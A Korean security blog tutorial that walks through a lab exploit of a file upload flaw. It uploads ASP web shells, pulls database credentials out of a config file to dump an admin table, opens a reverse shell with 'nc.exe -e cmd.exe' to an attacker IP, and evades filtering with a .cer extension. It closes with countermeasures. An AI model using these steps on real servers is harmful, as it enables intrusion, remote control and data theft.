웹/웹 보안

File Upload 취약점

비니화이팅 2018. 7. 22. 13:17

File Upload 취약점

오늘은 파일 업로드 취약점에 대해서 알아보도록 하겠습니다. 

파일 업로드 취약점이란 말 그대로 .php, .asp, .jsp등의 파일을 업로드 할 수 있는 취약점을 말합니다.

따라서 파일 업로드 기능이 없으면 취약점이 없다고 봅니다.


주로 업로드 하는 파일을 웹쉘이라고 부르는데 이는 악성코드의 일종입니다. 

웹 서버에서 동작하기 때문에 웹 서버가 개발된 동일한 환경의 언어로 되어 있어야 합니다. 

 

두가지 웹 쉘을 소개해보려고 합니다.

1. xcu_cmd.asp - 윈도우 탐색기 라고 보면 됩니다.(웹 서버 하드디스크의 파일 목록을 봄)

2. cmd.asp (nc.exe와 같이 쓰임) - cmd창이라고 보면 됩니다.


그러면 이 두가지 웹 쉘을 실습해보도록 하겠습니다.

실습

1. xcu_cmd.asp

우선 공격자는 자신의 컴퓨터에 저장되어 있는 xcu_cmd.asp파일을 웹 서버에 업로드 합니다.


업로드 한 모습입니다.


게시글을 클릭한 화면입니다.


해당 파일을 우클릭-속성에서 URL을 복사합니다.

 http://192.168.10.128/board/upload/xcu_cmd.asp


해당 URL로 접속하면 아래와 같은 화면이 뜹니다.

 

browser를 클릭한 모습입니다. browser는 윈도우 탐색기와 같은 역할을 합니다.

upload폴더에 어떤 파일들이 있는지 확인해보았습니다.

 

실제 웹 서버에서 확인한 결과가 웹 쉘에서 확인한 결과와 동일합니다.


이런식으로 실행이 되면 취약점이 있다고 볼 수 있습니다.

그렇다면 이 취약점을 가지고 어떤 것을 할 수 있는지 이제부터 확인해보도록 하겠습니다.


우선 간단하게 기능을 확인해보도록 하겠습니다.

..을 눌러 상위 디렉터리로 이동이 가능합니다.

 

특정한 파일을 선택하고 메뉴-소스보기를 통해 sss(server side script)소스도 볼 수 있습니다.


본격적으로 이를 이용해서 DB를 찾아보도록 하겠습니다.

파일을 업로드한 웹 사이트의 로그인 홈페이지 URL은 아래와 같습니다.


이 파일을 직접 찾아서 웹 쉘에서 열어보았습니다.

보통 DB연동하는 코드가 중복되기 때문에 빼놓고 inlcude하는 경우가 많습니다.

이 경우에는 DB연동 작업을 /inc/dns.asp에서 하는 것 같습니다.

 

 /inc/dns.asp파일을 찾아 열어보았습니다.

예상대로 여기서 DB연동 작업을 하고 있었습니다.

첫줄은 다음과 같네요.

Provider=SQLOLEDB;Data Source=localhost;user ID=sa;password=webhack;Initial Catalog=camel;

- Data Source : 서버 IP를 뜻합니다. (localhost라고 적힌 경우도 있습니다.)

- user ID : DB계정명입니다.

- password : DB계정의 패스워드 입니다.

- initial Catalog : DB이름입니다.

 

그렇다면 알아낸 정보를 이용하여 DB에 접근해 봅시다.

우선 SQLGateforMSSQLPro을 설치해줍니다

SQLGateforMSSQLPro는 DB에 다이렉트로 접속하기 위해 개발자들이 주로 사용하는 도구 입니다.


SQLGateforMSSQLPro을 설치하고 실행하니 아래와 같은 화면이 뜹니다.

 

여기에 위에서 알아낸 정보들을 입력합니다. ip는 localhost라고 적혀있었지만 그대로 적으면 당연히 안되겠죠?웹 서버의 IP를 적어줍니다.

IP까지 적어주고 나면 데이터베이스에 목록이 뜨게 됩니다.

 

camel데이터베이스를 클릭하여 admin테이블에 있는 정보를 확인합니다.


 위와 같은 방법으로 SQLGateforMSSQLPro을 통해 DB에 접근할 수 있지만 웹 쉘 자체에서도 DB에 접근할 수 있습니다.

 sql 메뉴를 눌러봅시다.

여러 예제가 뜹니다.

예제 1은 오라클, 예제 2번은 mssql에서 사용하는 구문인데 지금 웹 서버에서 사용하고 있는 DB는 mssql이기 때문에 예제 2번을 사용하도록 하겠습니다. 이 구문은 /inc/dns.asp파일의 맨 첫줄에 써있던 구문과 같습니다.

 

해당 구문을 입력하여 DB에 접속해봅시다.

 Provider=SQLOLEDB;Data Source=192.168.10.128;user ID=sa;password=webhack;Initial Catalog=camel;

  

SQLGateforMSSQLPro에서 날렸던 질의와 동일하게 Select * from admin한 결과입니다. 

SQLGateforMSSQLPro와 다른 점이 있다면 SQLGateforMSSQLPro은 결과가 가로로 출력되는 반면 웹 쉘에서 실행한 결과는 세로로 나옵니다.

 


2. cmd.asp(with nc.exe)

지금부터 cmd.asp와 nc.exe를 이용하여 진행할 공격 기법은 Reverse Telnet입니다.


이름이 왜 Reverse Telnet일까요?

보통은 PC에서 Server로 접속하는 경우가 대부분입니다. 이는 정방향이라고 하는데, 
이번에 진행할 공격은 Server에서 PC로 접속합니다. 즉, 역방향으로 접속하기 때문에 Reverse Telnet이라고 합니다.

아래는 Reverse Telnet 시나리오입니다.

<시나리오>

 1. 공격자는 웹 서버를 원격으로 조종하고 싶어합니다.

 2. 그러나 웹 서버는 80포트를 제외한 모든 포트를 차단해놓았습니다.

 3. 공격자는 80포트를 이용하여 원격으로 접속하기로 마음먹습니다.

 4. 그러려면 웹 서버에서 먼저 공격자 PC로 원격 요청을 해야 합니다.

 5. 공격자는 nc.exe를 사용해야 겠다는 생각을 합니다. 그러려면 nc.exe가 공격자 PC와 웹 서버 모두에 설치되어 있어야 합니다.

 6. nc.exe는 절대경로를 꼭 지정해주어야 하기 때문에 웹 서버에 cmd.asp와 nc.exe를 업로드 하고 cmd.asp를 통해 nc.exe의 설치 절대경로를 알아냅니다.

 7. 공격자는 포트와 방화벽을 열고 대기합니다.

 8. 공격자는 cmd.asp를 통해 nc.exe를 실행시킵니다.

 9. 웹 서버는 공격자 PC에 원격 요청을 하고 최종적으로 연결되어 공격자는 원격 조종을 할 수 있습니다.


Reverse Telnet을 진행하기 위해서는 cmd.asp웹 쉘 이외에도 nc프로그램도 필요합니다.

우선 위와 마찬가지로 cmd.asp과 nc를 업로드 합니다.


잘 올라가진 모습입니다.


cmd.asp를 실행해야 하기 때문에 첨부파일을 우클릭-속성에서 URL을 복사합니다.

http://192.168.10.128/board2/upload/cmd.asp 

x박스가 뜨는 이유는 이미지가 아니라서 그렇습니다.

 


알아낸 URL로 접속합니다.


ifconfig로 잘 접속되었는지 확인해봅니다.

웹 서버의 주소가 나오는 것으로 보아 잘 접속이 되었네요.


nc프로그램을 실행하려면 반드시 절대경로를 지정해주어야 합니다.

따라서 nc프로그램이 어느 경로에 위치하고 있는지 찾아줍니다.

c:\Inetpub\camel\board2\upload 

 

nc프로그램을 실행하기 앞서 공격자 PC에서 포트를 열고 대기해주어야 합니다.

포트는 unknown-port 중 아무거나 해도 됩니다.

nc.exe -lvp 5000



또한 방화벽도 해제해 줍니다.


공격자 PC에서 포트를 열고 대기중이니 이제 웹 서버에서 공격자 PC로 접속해봅시다.

c:\Inetpub\camel\board2\upload\nc.exe -e cmd.exe 192.168.10.130 5000 

-e 옵션은 cmd.exe에 대한 제어권을 해당 IP에게 넘겨주라는 옵션입니다.


공격자 PC에서 확인한 모습입니다. 정상적으로 연결이 잘 되었습니다.


ifconfig도 잘 실행이 되었습니다.

 

Reverse Telnet 보안대책

outbound 정책을 수립해야 합니다. 

그러나 나가는 포트는 수시로 바뀌기 때문에 outbound 정책을 수립하기는 어려운 편입니다. 

또한 내부에서 나가는 패킷은 신뢰하는 경우가 대부분이기 때문에 inbound정책은 잘 수립해도 outbound정책 수립을 잘 하지 않은 경우가 많습니다.

 

 

File upload 취약점 보안대책

1. 확장자 체크

: 블랙리스트는 우회방법이 많기 때문에 화이트 리스트로 작성 합니다.

 

2. 웹 서버에서 실행권한을 없음으로 설정

 

 

3.필요한 확장자를 제외한 나머지 확장자를 갖는 파일들은 실행되지 않도록 설정

: 아래를 참고합니다.

 

웹 서버 설정을 보면 아래와 같은 화면을 볼 수 있습니다.

아래는 확장자가 .asp, .cer, .cdx, .asa인 파일을 asp.dll파일과 매핑을 하도록 설정되어 있는 화면입니다.

즉, .asp말고도 .cer, .cdx, .asa도 실행이 가능합니다.

 

직접 .asp가 아닌 다른 확장자도 실행이 되는지 실습해보도록 하겠습니다.

xcu_cmd.asp의 확장자를 .cer로 바꾸어주었습니다. 그랬더니 인증서 모양의 아이콘으로 바뀌었습니다.

 

희생자 웹 서버 게시판에 xcu_cmd.cer을 업로드 하고 공격자 PC에서 실행 해보니 아래와 같이 잘 실행되는 것을 볼 수 있습니다.

 

꼭 필요한 확장자만 실행이 가능하도록 설정하는 것이 보안대책이 될 수 있습니다.